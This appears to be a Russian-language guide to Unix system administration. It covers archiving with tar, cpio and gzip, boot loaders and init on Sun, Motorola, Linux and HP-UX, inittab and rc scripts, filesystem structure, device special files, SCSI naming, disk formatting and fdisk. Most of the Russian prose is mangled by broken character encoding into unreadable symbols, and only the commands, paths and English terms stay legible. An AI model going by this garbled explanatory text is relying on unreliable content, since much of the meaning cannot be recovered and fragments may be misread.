                -f     䠩, ஬ 㪠 蠡.
                -u   ᫮  騩 䠩  娢.
                -l    ,  ஢,   뫪.

                &dD娢  ᦠ⨥&d@.

        娢 tar   cpio,  ⫨稥  DOS-᪨ 娢஢, 
         ᨥ. ⮡  ᦠ 娢, 㦭 -
        짮 ᯥ樠஢  compress  gzip.

         compress ⠥  ᢮ ⥬ ,   ᢮ ⥬-
         室    "஦"  .

         zcat ("ᦠ cat":-) ⠥  ⥬ 室 "-
        " 䠩,   室  "ࠧ" .

         ᦠ tar-娢:

            tar -cvf - emacs-19.28 | compress > emacs-19.28.tar.Z

          ᦠ⮣ tar-娢:

            zcat < emacs-19.28.tar.Z | tar -tvf -

               "-"  ⮬  ,    tar
        㦭 㪠뢠   䠩  娢.  砥 " 
         ⠭⭮ 室"  (  뢮 娢  ⠭ -
        室).

        GNU Zip - 筮  㯠騪,   ⥯ ᦠ
         ᮪, 祬  compress,    arj   pkzip. -
         ᦠ cpio 娢, ᯮ "" gzip.

            find . -print | cpio -ovcaB | gzip > arhiw.gz

         䠩  ᦠ⮣ cpio-娢

            gunzip < arhiw.gz | cpio -idmv



                &dD mt - ࠢ ⭮ ⮩ &d@

        樠஢ ணࠬ   ࠡ  묨 ⠬ 
        ⭮,     뢠 䠩    
        㣨.

        ⮡ 㧭,    , :

            man mt

        .
                &dD砫쭠 㧪 樮 ⥬&d@

                &dD * Boot-楤 * &d@

                Boot,   bootstrapping   -   ᫮  騥  ᥩ
        "㧨/,  砫쭮  㧪"    ᠬ  
        ந諨    ᪮ ࠧ "Pull itself up by its own boot
        straps" ( ᥡ  ન ᮡ⢥ ⨭)

             稭   Boot-proma - 让 ணࠬ, 
        ࠭     ࠥ      ,      稭
        믮 ࠧ ᫥ 祭.

              ⢥, boot-prom 㬥   - ଠ஢
        ᪨, ⠫஢  樮  ⥬,  ᪠  
        hardware.     ।祭 -   ᪥ 
          믮 䠩 /unix -  樮 ⥬.
          ᢮  ᮡ⢥  ࠧ㬠      筮  墠⠥,
        ⮬        ।  㦠    ⪮   ᪠
        "稪   樮   ⥬",          
        ⠫쭮.

                &dDSUN&d@

             Boot-prom 㦠 "BOOT BLOKS" - 1-  
        . "boot-bloks" ᯮ    1-15  ᥪ  ࠧ,
        ᮤঠ饣  ୥  䠩  ⥬  "/".  筮 ୥
        䠩 ⥬  ᯮ    ࠧ    0.
             "Boot-   blocks"           ୥  ࠧ
        㧮筮 ᪠ (筮  ७    SCSI-஬
        3)    installboot.   ⮣ 믮 -
        ⠪:

            installboot /dev/rdsk/c0t3d0s0

             Boot-blocks  "㬥 " ଠ 䠩 ⥬ unix -
        ufs .   室  ୥ 䠩 ⥬ 䠩  "/ufsboot"
        - 2-   ,  㦠 .

             /ufsboot 室  /kernel/unix,  㦠 .

              Unix 㦠  ⨢ , 㦠 
        ⮬      ᢮  㧪  ⥫  㦠
        㫨    ࠢࠬ  ன.    ⮫쪮    "ࠥ"
        筮   ⢮   ࠢ஢,    ⮡    ᠬ⥫쭮
        ᬮ஢  ୥  䠩  ⥬,         
        , ᫥  祣  稭  ⢮  ᠬ⥫쭮,  
        ᯮ  砫 稪.

             墠  boot-prompt:

          STOP+A

             㧪  single user:

          bo: boot -s

                &dDMotorola 922&d@.

             Boot-prom  㦠  ᪠  - 䠩 /stand/boot,
        稪 㦠  /stand/unix

             ᪮  boot-prom      ﭨ     
        ࠡ  ⠭⭮ unix'᪮ 䠩 ⥬, 䠩 unix
          boot      ⤥쭮  ࠧ  ⪮ ᪠ - ࠧ
        /stand.   ᮧ "      "  bfs
        (Boot  File  System),  ⮡  boot-prom'  뫮   
          ᪠ 㧮 䠩.

             墠  boot-prompt:

        ᫥ ⮣   ᮫  ᮮ饭: "Idle MPU: none"
          

             㧪  single user:

                   ६   砫쭮  㧪    ᪮쪮  ᥪ㭤
         ਣ襭: "Press _-_to enter system_maintence.
         ॡ㥬 

                &dDLinux&d@.

             BIOS  㦠  砫쭮 ࠣ㧪 ⨢ ࠧ.

               㧨  稪  LILO (LInux LOader). Lilo 㦠
        䠩 /vmlinuz

             ࠬ   砫쭮   㧪   뢠     䠩
        /etc/lilo.conf ᫥     ⮬  䠩,  室
        믮쭨 

          lilo

             墠  Lilo-prompt:

        Left_ALT ࠧ ᫥  ᮮ饭 "Lilo ..."

             㧪  single user:

          Lilo: linux root=/dev/hda2 single

             㧪    single user:

          Lilo: linux init=/bin/sh
          mount -n -o remount /dev/hda2 /
          insmod de4x5
          ifconfig eth0  195.232.171.30
          route add -net 195.232.171.0 gw 195.232.171.30
          insmod nfs

                &dDHP-UX&d@

               HP 9000 ஦ "PDC" - "Processor Dependent Code"
        - ⮡            ESC    
        ᥪ㭤 㧪.

                㧮筮   ᪥     Boot-ࠧ  ଠ  LIF
        ( 䠩 ⥬)  LIF-⮬ 4 "䠩"

        ISL       - "樮" ணࠬ
        HPUX      - ᮡ⢥ 稪 
        AUTOBOOT  - ⥪⮢  䠩,    ஬  ᠭ   
                    㬮砭

        ⠪: PDS 뢠 ISL 

          bo scsi.6.0 isl

        ISL 㦠  

          hpux /stand/vmunix

             墠  PDC-prompt:

         ESC   10 ᥪ㭤

             㧪  single user:

        PDC> bo pri isl
        ISL> hpux -is /stand/vmunix

                &dD *  init * &d@

         樠 ᥡ  ᫥ ⮣  ᪠  init.
         init -  ⠫ ,  ணࠬ,  室
         ଠ쭮 㭪樮஢ 樮 ⥬.

         쭥訥  ⢨  ⥬ । ⨬ ᮬ.
        ,  㦭  init-, । ᯥ樠쭠 ⠡.

         init ᥣ 室  - " "
        ஢ 믮 । ﭨ   ᥩ -
        . ஢ 砥 ன 0,1,2,3,4,5,6,s,S ( 㪢)

           0        - prom  -  ⠭ ⥬;
        1, s, S     - single user mode. 짮⥫᪨ ०;
           2        - 짮⥫᪨ ०  NFS-ࢥ;
           3        - 짮⥫᪨ ०  NFS-ࢥ஬;
           6        - १㧪;


                &dD * ਬ ࠣ ࠢ饩 ⠡  /etc/inittab * &d@

        bchk::sysinit:/etc/bcheckrc/dev/console 2>&1
        brc::sysinit:/etc/brc   > /dev/console 2>&1
        is:3:initdefault:
        rc:12345:wait:/etc/rc    > /dev/console 2>&1
        r0:0:wait:/etc/rc0       > /dev/console 2>&1
        r2:23:wait:/etc/rc2      > /dev/console 2>&1
        r3:3:wait:/etc/rc3       > /dev/console 2>&1
        pf:12345:powerfail:/etc/powerfail > /dev/console 2>&1
        co:12345:respawn:/etc/sysmonitor  console console
        t1:23:respawn:/etc/sysmonitor     tty01   9600
        t2:23:off:/etc/sysmonitor         tty02   9600

                ଠ ⠡:

        :஢_믮:_⢨:᪠ 

        : -   窨 -     ࠧ묨
        _⢨:

          sysinit     ࠧ ᫥ 砫쭮 㧪;

                     ᮮ⢥饬 ஢ 믮:
          wait    -   ࠧ  ,   ;
          respawn -  ࠫ쭮,  ᫨ , १-
                     ᭮;
          off     - 祣   ( ஢  ப).


        ᫨  ᬮ  ⥫쭮  ⠡,   ࠧ,
           ⢨⥫쭮 ந室  㧪,  㤠 -
            ᮮ饭.


                ࢠ init ᪠ ,  "sysinit"

                ࠡ⠢  ப "sysinit" ஢,  init    
            /etc/inittab   㦨 ப initdefault 3 -
         ⠢  "३"  ஢ 3.

                &dD * Run Command - ⠭ RC-⠫ ᪠ * &d@

               ३    ஢  믮  3  init  ࠡ뢠
          ⨢      ஢  "3"  -  ᪠
          䠩  /etc/rc2  -  ﭨ  .   :
        /etc/rc2      믮    䠩  /etc/rc2.d/S*,
        騥    ⠫  /etc/rc2.d.    䠩  믮  
        ࠬ஬ "start"

               ࠡ⠢ /etc/rc2 init 筮 ⠪  ࠧ ᪠
        䠩 /etc/rc3. ᫥  ⨬  ᪠  ᪮쪮  ᮢ
        sysmonitor  -        騩 ନ.  
        ᠬ  ,        ନ:   "Login:   "
        짮⥫,      ନ ஥ ६ ࠡ⠥, 
         ⮫쪮   "室"    ⥬,    㪠  ନ
        祣   ⠥. init   믮 ⢨ "respawn" -
        १᪠  ନ sysmonitor -     ࠤ⭮
        "Login: "   ନ.

                &dDLinux Slackware&d@

                 㬮砭 init ⠭ ஢ 믮 5
         砫쭮 㧪 ࠡ뢠 䠩
        /etc/rc.d/rc.S

                ⥬  室  짮⥫᪨ ०
        /etc/rc.d/rc.M
                 ண ᪠ 䠩
        /etc/rc.d/rc.inet1  ⠭騩 ⥢ 䥩
        /etc/rc.d/rc.inet2  ᪠騩 ⥢ ࢨ
        /etc/rc.d/rc.local  ᪠  ᪮쪮    ணࠬ 
                             - ਬ প ,   httpd,
                            䨪  ᮫,  ..

                &dDLinux RedHat&d@

        ᯮ ⠭⭠ 孮 rc-䠩 System V

        RC-⠫:
        /etc/rc.d/rc[0123456].d/
        /etc/rc.d/init.d/

        䨣樮 ࠬ  RC-:
        /etc/sysconfig/

                &dDHP-UX 10.20&d@

          ᬮ    BSD- ந宦 ᯮ ⠭⭠
        孮 rc-䠩 System V

        RC-⠫:
        /sbin/rc[0123].d/
        /sbin/init.d/

        䨣樮 ࠬ  RC-:
        /etc/rc.defaults.d/

                &dDSVR4: SUN, Motorola&d@

        ᯮ ⠭⭠ 孮 rc-䠩 System V

        RC-⠫:
        /etc/rc[0123456].d/
        /etc/init.d/
        .
                &dDUnix,  ਭ樯  ᮡ&d@.

          ⥬  ⢨ 믮    樮  ⥬
        Unix.  -  믮塞 䠩, ᯮ  䠩 /unix
         /stand/unix  /vmunix  /vmlinuz ( ᨬ  -
        ⭮ ॠ樨).  ᬮ ࠧ ⮣  䠩 - 
        쪨.  砫쭮 㧪 ⥬  楫 㦠-
          ⨢ ,   쭥襬 १⭮ 室
         , 믮  室 ࠡ.

                 室  .

         .  ,  ,  ,  , 
          ,    ⠪      ⠪,         
        .

           :      ,   ⢥⢥  
        ᯥ祭  ࠡ  짮⥫᪨  ணࠬ  -   ࠧ
        ६   ᮢ ⥬.

            : ⠡ ⥪ ᮢ, -
         䠩, ࠢ騥 ...

         . (,  MS-DOS 뢠 "21 뢠" -
            ன   /த      ⥬
        맮.)     窨  ७  ணࠬ    筠 -譠
        㭪,  ⮫쪮  믮    ⥬-ᨬ  ⢨,
        ਬ:          䠩,  ⠭  ⥢
        ᮥ, ᮧ ⠫,  ..  ..  ⥬ 맮
        (  ᥣ   1500  ) ஢  ⥫  unix.
        짮⥫᪨  ணࠬ,  뢠騥  㭪樨,   騥
        ⥬묨  맮,    ᠬ  ᮤঠ ⮫쪮 jump' 
        ᮮ⢥騥        .     짮⥫
        ணࠬ ⥬ 맮  뢠.

                 室  ⨢ .

          .

         .   ⨢  १ࢨ  -
        ஢ ⥭    .    ⥭  ᪠
        ਢ  ⮬,   ⠭     
        ,      㦥 । ᨢ訬   ணࠬ.
        ᫨    ,   ᫥騥 饭    -
          ࠧ   , 祬  ᨬ,  ⮣ -
          ᠬ ணࠬ, 頥  ,   - -
        .  ⠪     ,   , ࠧ塞
         ᥬ 믮塞묨 ணࠬ.

        . ᮬ  Unix' 뢠 믮 ணࠬ

                ।⢠  . 㠫쭠 .

         .        ணࠬ(믮-
         䠩) 饭  ᪮쪨 ,    ⨢
         㦠 ⮫쪮   믮塞 ᥬ୮
          .   믮   ᯮ   
         ⥪ ணࠬ,      ᢮ ᮡ-
        ⢥ 㪠⥫  ⥪騩 .

         . (  Windows   宦 ⨥ DLL -
        ᪨ 㦠 ⥪). ஥ ⢮ -
         믮塞 㭪権 (ਬ printf,        㣨)
        ଫ   ᯥ樠 ࠧ ⮢ -
          (SHARED  LIBRARY).   樨 ணࠬ,  ᯮ饩
        ࠧ塞  ⥪,    㭪樨    
        ணࠬ.    "뤥ࣨ"     ⥪      ⠤
        믮  ணࠬ.  ⨬         ᪥  
        ⨢ :  ணࠬ      ࠧ塞
        㭪権,      ⨢     㭪  
           .

        SWAPING.   Unix- 㭪樮  ᢮ ᮡ⢥
        32- ⭮ 㠫쭮 ᭮ ࠭⢥,  ᥪ饬-
          㣨.  ᭮  ࠭⢮    -
        訬, 祬 䨧᪠ ⨢ . 㠫쭠  -
        ন   PAGING' - ࠧ襭 㠫 ᮢ
         䨧᪨  "  ",    窮    ࠭
          swap-  ⪮ ᪥.

         ᠬ  SWAPING'  ⠪  Unix'  ,  
        ਬ ࠧ   PAGING. (swaping  -  ।-
        ,     㧪 ணࠬ  swap-   楫
        ᢮   ⨢ ).

         ,  ணࠬ ࠧ   : TEXT
        (믮塞  ணࠬ), DATA (᪨  ணࠬ-
        ), STACK (᪨ ).  樮 ᢮
              TEXT',        ᮬ
           .  ࠧ  砥     ᢮. ⢨-
        ⥫쭮,  ॡ 㧨 TEXT ⭮   , 
          㤥   ᠬ  믮塞  䠩  ணࠬ.
             䥪.   ணࠬ, -
             믮,  㭨⮦. -
        樮 ⥬ ᮮ  ⮬  砥:  "text  file busy", 
        ⪠ 믮 㤠.

          .  (sticky  bit). 믮塞 ணࠬ  
         ⥫ ਡ.   뢠  " 稢-
        ".  ⠪ ணࠬ 稢 믮,  樮
        ( ) ࠥ   ,   ன -
         ⥪ ணࠬ. ⢥⢥,    -
         祭   -  ணࠬ    㦥  -
        ,   ॡ 뢠  ᪠. 㦭  ।
          ࠢ.

                &dD ⥬ Unix&d@.

         ⥬  Unix -  "ॢﭭ",  ⮨    䠩 
        ⠫.    ࠧ ᪠ ᮧ ᮡ⢥ -
        ᨬ 䠩 ⥬. ⤥ 䠩 ⥬ "楯-
        "  ,    饥 ॢ ४਩.   
        뢠 "஢". 룫廊  ਬ୮ ⠪:

           mount -F ufs   /dev/dsk/m197_c0d0s5 /home1
           mount -F ufs   /dev/dsk/m197_c0d0s4 /usr
           df

             䠩  "ᬮ஢" 䠩 ⥬
        . 筠 ࠪ MS-DOS - ᪮쪮 ࠧ, ⮫-
          "᪮" ( a: b: c: d: e: ... k: l:  m: n:)  Unix  -
        .  Unix ᥣ  ஢  饥 ॢ ⠫,
        ,    讬  , 짮⥫ ᮢ襭  ࠢ, 
          ᪥   ࠧ  ᪠  ᯮ    䠩
        /usr/spool/moshkow  /home1/moshkow/bin/mcopy ...

         ⥬ Unix   襬.  -
           믮  ⮣,   ਪ뢠 믮-
          ,    樮  ⥬  㦭 
        ᤥ.   १  䥪⨢  ᪮ ࠡ 
        ᪮,    蠥  ᭮    ᯮ짮.  몫祭
        ⠭    "祩",  ࠡ饩  Unix-設   ਢ   
        ࠧ襭   䠩 ⥬.

          砫쭮 㧪 Unix ஢ - ४⭮  -
         몫祭  設    ࠧ,  ᫨  - ⮬᪨
        ᪠ ⨫ fsck  (File System Check) - ஢  ६
        䠩 ⥬..

                &dD७  䠩 ⥬ Unix&d@.

         ᪠,  ஬ ᮧ 䠩 ⥬, ࠧ  
        .

        .  1 Kb.
                   ন 㦥 ଠ:
                    䠩 ⥬,
                   
                   砫 ᯨ᪠ ᢮ .
                   . . . - 

         INOD-.    ਬ୮ 8% 饣 ࠧ ࠧ.
        inode - Index-node  - ⥫ 䠩.  ᮤন  ଠ-
          䠩,  ᪫祭    䠩,   ᮡ⢥ 
        䠩.  inod' ࠭:

           ⨯ 䠩 (䠩, ⠫,  , ᯥ樠 䠩)
            
           ࠢ(ਡ) 䠩
           ६ 䨪/ᮧ 䠩
            ,   ⮨ 䠩
           -  ...

         .  ⮩  ᯮ   묨 䠩-
                        .   ஢易   -
                         

         뢠  ᭮ ⨯. , .

         -    䠩.

         - 䠩 䨪஢ ଠ:  ⮨    祪  
         䠩, 室  ⠫

                _䠩1         _1
                _䠩2         _2
                   . . .

        ⮡    䠩  , 樮 ⥬
         1. 室    ⠫, ᮤঠ饬 䠩,
         2.  _ 䠩,
         3.   室 inod   inod',
         4.  inod'   ,   ᯮ -
             䠩,
         5.  ᠬ  뢠    .
        .

                ଠ ᭮ ⥫ 䠩.

          ࠧ  64-   - inod'.
         inod' ࠭:

           䠩 (䠩/⠫/ᯥ樠 䠩/fifo/socket)
          ਡ (ࠢ 㯠)
           䠩
          㯯- 䠩
          ६ ᮧ, 䨪樨, ᫥ 㯠  䠩
           䠩
           1-  䠩
           2-  䠩
          ...
           10-  䠩
            ᢥ 樨 (  256 ᠬ )
            2- ᢥ 樨
             (  256 ᠬ   ᠬ)
            3- ᢥ 樨
             (  ᠬ   ᠬ   ᠬ)

         ଠ  䠩 ⥬ .
        man fs
        .
                &dD樠 䠩&d@

         Unix   䠩  ⠫     ᯥ-
        樠 䠩.  ᯮ  祭 䨧᪨ -
        ன . ().  魮,   ⠪ 䠩? 
        "", 㤠  뢠  ,   ᫥⥫쭮
        ⮢,    뢠  㤠.  ,   ⢥
        룫廊, ਬ,  䠩  /dev/console  - ᮮ⢥騩 -
        ᮫쭮  ନ.  ,    뢮  䠩 /dev/console,
        㤥    ࠭ ନ.  ⪥ ⥭
          䠩  /dev/console,  㤥  (!),  ,
         ᮢ     ࠭,  ,    
        . ஡ 믮 

          su
          echo ਢ > /dev/console
          cat /dev/console

          Ctrl-C

            ନ  unix-設  ᮮ⢥騩
          䠩.    ନ  ᮮ⢥  䠩,  
        뢠 ਬ୮ ⠪:

          /dev/contty01  /dev/tty02  /dev/ttyFD02  /dev/ttyS0
          ( ..,  ਠ)

        ᥢ-ନ ( 㫨,   室   ⥬
         , ।⢮  ⨯ telnet, rlogin), ᮮ⢥
        ᯥ樠 䠩

          /dev/pty*,  /dev/pty/*

          who,    who  am  i  ᮮ ,  뢠 
        ᮡ⢥ ନ.

         ᯥ樠 䠩, ᮮ⢥騥 ⪮   
        楫   (/dev/rdsk/m197_c0d0s7),        ᥬ       ࠧ
        (/dev/dsk/m197_c0d0s*). ᫨    㤥    䠩,
              ⨪,       ⪮ ᪥, 
        㫥 樫   ᫥...   ᫨        䠩
        -  ,      (⮬)      
        ଠ஢  ࠧ⪥ ⪮ ᪠.

        /dev/mem   - 䠩, ࠦ騩 ⨢ .

        /dev/audio - ᫨  ""     䠩  㪮  ଠ
                     (*.wav, *.au, ...?) -    㤥 祭 -
                       ,     cat /dev/audio  㤥
                     ਭ ,  ந  䮭.  -
                     祬    ⢫,       PC,    Silicon
                     Graphic   SPARCstation.

        /dev/zero  -     ᪮쪮 㣮 㫥 ⮢

        /dev/null  -              ⮦, 
                     ࠭祭 ⢠,    १-
                     ⮬: NULL -    null.   MSDOS  
                     뢠    NUL ).

        樠 䠩 뢠  ⨯:

            -    ⥭ ᪠ ⮫쪮 .  -
                     ਬ, ࠧ ᪮  䠩 ⥬ 
                     ⠪묨.

          ls -al /dev/fd*
        brw-rw----  1 root floppy    2,  28 Jul 18  1994 /dev/fd0H1440
        brw-rw----  1 root floppy    2,  32 Jul 18  1994 /dev/fd0H2880
        brw-rw----  1 root floppy    2,  12 Jul 18  1994 /dev/fd0H360


         ᨬ(s, , row) -    
                   ⤥묨 ⠬.   ⭮ ନ,  -
                    , ଠ஢ ᪨  ࠧ -
                     䠩 ⥬.

          ls -al /dev/tty*
        crw--w--w-   1 moshkow  sys        4,   1 Jan 15 22:00 /dev/tty1
        crw--w--w-   1 root     root       4,   2 Jan 15 20:37 /dev/tty2
        crw--w--w-   1 root     root       4,   2 Jan 15 20:37 /dev/tty2

        稥 - ࢠ 㪢  ⨭  ls  -l

         "ࠧ"  ᯥ樠쭮 䠩   .  
        䠩 砥 䨧᪮ ன⢮.  ᪨,   뫪
         ᮮ⢥騩 ࠩ.  ,  ls 뢠
         ⠪ 䠩   ᫠: ""  ""  -
        ன. 㤥 ,  ᭮,  ""  浪
         ࠩ ன⢠,  "" -  ७  ன-
        ⢠  ⠡ 㦨饣  ࠩ.

                &dD ᯥ樠 䠩&d@

         筮    ᮧ    㦭  -    㦥   
                   ன.      
        ⠫樨 ⥬.

         筮 ᮧ ᯥ䠩

           mknod /dev/filename { c | b }  MAJOR MINOR

                &dDHP-UX: 㠢⮬᪮ ᮧ ᯥ䠩&d@

          砫쭮  㧪    //inittab  ࠡ뢠  ਯ
        /sbin/ioinitrc,   㦨        ன⢠
        ⮬᪨  ᪠   樠樨, 䨣樨
         ᮧ 室   ᯥ䠩.

        . 㬥  

         ioscan
         mksf
         insf

                &dDSolaris: 㠢⮬᪮ ᮧ ᯥ䠩&d@

         㧪   boot-  㧨  祬 -r

        STOP+A

        ok boot -r         - ४䨣樮 㧪

         室 ᯥ䠩   祭 ன 
         ⮬ ᮧ ⮬᪨.
        .
                &dD᪨, , 䠩 ⥬&d@.

                &dD *   SCSI ன⢠ * &d@

                &dDMOTOROLA:   SCSI ன⢠&d@.

           scsiscan             -  ⨫ ᮮ ,    SCSI
                                  ன⢠  祭,   
                                  뢠 (SCSI-id)

               ᫥  祭  ன   Motorola
        922,  ᠬ⥫쭮  ᯮ    ।  砫쭮
        㧪,    ᪠  ணࠬ  ⠫ /sbin/auto-boot,
          ᮧ  ᯥ樠   䠩,   ᮮ⢥騥   ⨬
        ன⢠.



                &dDSUN:        SCSI ன⢠&d@.

                 Sun  SPARC  । SCSI-ன:
        ३  BOOT-prom  (  Stop+A)  
         probe-scsi

          ok probe-scsi


             ⮡   ᮧ  ᯥ樠  ᯥ樠  䠩  믮
        "reconfiguration boot":  BOOT-஬

          ok boot -r

                &dDLINUX:      SCSI ன⢠  ⪨ ᪨&d@.

             IBM   PC/Linux  ᮮ頥      ன⢠  
        砫쭮 㧪. ।,  ᮮ⢥騩  ࠢ
        SCSI   (if  exists)  ᪮䨣஢    .  ⮡    ࠧ
        ᬮ  ᮮ饭, 믮 

            dmesg

              ᯥ樠 䠩  ᪮   㦥 ᮧ

                &dDHP-UX&d@

        墠 boot ஬,   SEA    (search)
           設   ioscan

                &dD * ᠭ ਨ ᪠  祭 * &d@

               ଠ쭮  ࠡ    ᪮    (  
        ⥬) ਤ   ᠭ ਨ ᪠.

                㯪   ᪠      ⠢騪  㬠  
        ࠪ⨪  ਥ ᪠.
             Seagate ਬ  ࠪ⨪ ন 
        http://www.seagate.com

                &dDLinux, FreeBDS: 祣 뢠  &d@

             室  ᫥饬 ࠧ.

                &dDMOTOROLA: ᠭ ਨ ᪠&d@


               騥 ᠭ  "ଥ" ᪮ ᯮ
         ⠫ /etc/dskdefs/. 롥 ᠭ  "宦"  ᪠,
            ,  ਬ  1Gb Seagate-ST31 - "msea11200".
        ᪠: ﭨ  /etc/scsifmt.info

              ddefs   ᪠  ࠭  
          .    ⢥      "Template"     
        ᠭ  "宦"  ᪠.  ࠢ  ࠬ,   
        ,  ⠢  , ᫨   祬 .

              ddefs -n filename

        㠫 ࠬ: (⢥ ᫮ , ᥪ஢...)
         ⠪  ( ᮡ⢥  ஢७):

         Root offset: 648              (.. VTOC  648 )
         Slice count: 16               ( 16 ࠧ  ᪥)
         Interleave:  1                ( 砥 "")
         Precomp cylinder: {᫥} (뭥 ४樠  ᯮ)
         Bad spots:   100             (  饭 bad-)
         Controller attribute: 850     (  , 祬,  ⠪
         Attribute:   10                  ⠫  ᪮)
         Word attribute: 10

        室      ddefs  "w"   "q"    .
        ᪠  ⠫  ddefs 뢮  "help"

                 ⠡ /etc/scsifmt.info    뫪
         䠩  ਥ ᪠.  ⢥  祢  ᫮  㪠
        ,  뢮  scsiscan. ਬ ⠪

        scsiscan
        SEAGATE  ST51080N  m187_0c0d1  ...

        cat >> /etc/scsifmt.info
        "SEAGATE"       "ST51080N"      filename   7    "1GB SCSI"
        ^D

                &dDSUN: ᠭ ਨ ᪠&d@

             ⮡         Sun',         
        ⢮ ᠭ ਨ  䠩 /etc/format.dat

                &dD *  뢠 ᪨  ࠧ  設 * &d@

              "ன⢮"  ᮮ⢥騩  "ᯥ樠
        䠩"  ⥬  ⥬   ᮫⭮   㣠 
        宦.  , , ﭭ:  ᯥ樠 䠩 筮
        ᯮ  ⠫ /dev   ⠫.

                 SVR4 ன⢠ ᮡ࠭  ⤥ ⠫:

          /dev/rdsk/*  -  ᪨  ࠧ ᪮
          /dev/dsk/*   -  ᪨  ࠧ ᪮
          /dev/rmt/*   - ਬ ⥫  ⭮ 
          /dev/term/*  -   祭 ନ (dial-in)
          /dev/cua/*   -    ࠢ (dial-out)
          /dev/pts/*   - ᥢ-ନ 

                &dDMOTOROLA: 騩 ଠ :&d@
            controller_cXdYsuffix           :
                     controller - ⨯ ன⢠
                        X       -  ஫
                        Y       - ᪨  ன⢠
                        suffix  -     ன⢠, ਬ:
                                   ࠧ  ⪮ ᪥

                ᪨ ᪨ (ࠧ 䨧᪮ SCSI ᪠)
                 筮 ன  ⠭樨 Motorola 922

        /dev/dsk/m197_c0d0s1    SCSI ஫ m197  0,
                                SCSI ன⢮ 0
                                ᪨ ࠧ (slice) 1
        /dev/dsk/m328_c0d0s0    SCSI ஫ m328  0,
                . . .           SCSI ன⢮ 0
                                ᪨ ࠧ (slice) 0

                ᪨  (楫)

        /dev/rdsk/m328_c0d0s7   ᫮  祭  ᥣ   ⪮
        /dev/rdsk/m197_c0d1s7   ᪠, 楫

                 ()  ࠧ

        /dev/rdsk/m197_c0d0s1
        /dev/rdsk/m197_c0d1s2

                 .

        /dev/rmt/ctape1              ⠪
        /dev/rmt/m197_c0d4

                CD-ROM.

        /dev/rdsk/m197_c0d6s7    - "ன" (䨧᪨)
        /dev/dsk/m197_c0d6s0     -  ࠧ CD-ROM  䠩 ⥬
                                    "஫쭮" ଠ ufs
        /dev/dsk/m197_c0d6s7     -  CD-ROM'  ⠭⭮  䠩
                                    ⥬ iso9660

                &dDSUN:&d@.

                ᪨ ࠧ ()  ⠭樨 SPARCstation:
           ࠧ  8 ᪨ ࠧ  0  8.

                騩 ଠ  SCSI ன⢠:

        /dev/dsk/c0t2d0s3       Controller  0  (筮 0)
                                Taget       2  (SCSI ID)
                                Disk        0  (LUN Logical Unit Number
                                                - 筮 0)
                                Slice       3  ( ࠧ)

                ᪨  (楫)

        /dev/rdsk/c0t3d0s2      ⪨  ।⠢  ࠧ-
                                2
                               㧮 ७ ⪨  SPARC-
                               station  3- SCSI .

                CD-ROM (楫)

        /dev/dsk/c0t6d0s2      CD 筮   6- SCSI .
                                ஢  ࠧ -  .

                 .

        /dev/rmt/0            1-  (筮 150)
        /dev/rmt/1            2-  (筮 DAT 4)

                ᫥ 祭  ன  Sun'.
        㦭 믮 "reconfiguration boot".  boot proma:

           ok boot -r

                &dDLinux:&d@.

                ࠧ  4 primary ࠧ  1  4. 
         ࠧ   extended - ⮣       ࠧ
          4 ࠧ  5  8

                ᪨  (楫)

        /dev/hda         IDE ⪨ 
        /dev/hdb        ன IDE ⪨ 
        /dev/hdc        IDE hd ( CD) - master  ஬ 䥩
        /dev/hdc        IDE hd ( CD) - slave   ஬ 䥩
        /dev/sda         SCSI ⪨  ...

        /dev/sda1, /dev/sda2, ... ,8   ⪮ SCSI ᪠
        /dev/hdb1, /dev/hdb2, ... ,8   ⪮ IDE ᪠

                CD-ROM

        /dev/sbpcd,/dev/sonycd, ...
        /dev/hdc  - IDE CD
                    /dev/cdrom

                 .

        /dev/rmt1

                ᪥.

        /dev/fd0             - 䫮 A:
        /dev/fd1             - 䫮 B:

                &dDHP-UX&d@

                ᪨  (楫)

        /dev/rdsk/c0t6d0      ⪨  (raw)
        /dev/dsk/c0t6d0       ⪨ 

         ⪨ ࠧ  HP-UX ,   LVM -   
        ᪨ ⮬

        /dev/vg00/lvol12     char logical volume
        /dev/vg00/rlvol12    block logical volume

                 
        /dev/rmt/0m            ६⪮
        /dev/rmt/0mn           ६⪨

                &dD *  ଠ஢ SCSI  * &d@.


             ଠ஢  SCSI   ஢  㬥   unix
         . ଠ⠦ 筮 砥  ஢ bad  block
          ᥭ  ᪮  ࠧ⪨  ᪠  -  ࠧ  
        ᪨ ࠧ.

                &dDMOTOROLA: ஢ ଠ⠦ ᪠ &d@

                  ⮬,  ᯮ    scsifmt.
        ਬ        楫쭮    (⠫
        /dev/rdsk, slice  7). ਬ:

           scsifmt /dev/rdsk/m197_c0d1s7
           scsifmt /dev/rdsk/m328_c1d0s7

             :    㦥 ࠫ  ? ⠩  20 
         㬠. 㬠?   Ctrl-C.    
        ENTER   Ctrl-C ?    30 ᢮ .  
          ६        "⠫  Unix".  
          scsifmt  祣    訢,   ࠧ 稭
        ଠ஢ 㪠 ,  ॡ   ⢥ত.

               scsifmt  뢠  dinit  ᮮ⢥騬
        砬,        .       ⮭   ࠡ
         dinit ।⢥.

             樠  ᪠ (஢ ଠ?, ஢
        -, 㧮筠 )   dinit.

        dinit [-f] [-q] [-b]   filename   /dev/rdsk/m187_c0d1s7
              -X 9  debug-level
              -f    ଠ஢
              -q    "" ଠ
              -b    ᤥ  㧮
              -v {0-4} write 

        man dinit    ᮮ  ⠫ ஡

                &dDSUN:&d@

             ᪨  ଠ⠦  ᪠  SunOS  . ⠥,
           ଠ஢    .    ᬮ
        ଠ  ᪥.

             prtvtoc /dev/rdsk/c0t0d0s2

                &dDHP-UX&d@

             ᪨ ଠ⠦

        format /dev/rdsk/c0t6d0

                &dD * ⪠ ᪠  ࠧ. Partition Table * &d@

                &dDLinux: fdisk&d@

             ⪠  partiotion table  Linux   fdisk.
          ⨫  -    ᮡ  ᪮,    
        .

             fdisk /dev/hda   #  /dev/sdb ...

             mke2fs /dev/hda1
             # ᮧ 䠩 ⥬ ⨯ ext2  ࢮ ࠧ

             ᯥ ⠡ ࠧ:

             fdisk -p /dev/hda   #  /dev/sdb ...


                &dDSUN: ⪠ ଠ஢ ᪠  ࠧ&d@

             ⮡         Sun',         
        ⢮ ᠭ  䠩 /etc/format.dat

                 㯥짮⥫     format,  
         ० ᬮ ந樠஢   ஢
          ࠧ   ࠧ.

             format

        Boot-  㧪 樮 ⥬   ୥
        ࠧ boot-.  뢠  installboot  dd

             installboot /dev/rdsk/c0t3d0s0
             dd if=/usr/lib/fs/ufs/bootblk bs=1k skip=1 of=/dev/dsk/c0t3d0s0

                &dDSUN:  䠩 ⥬&d@.

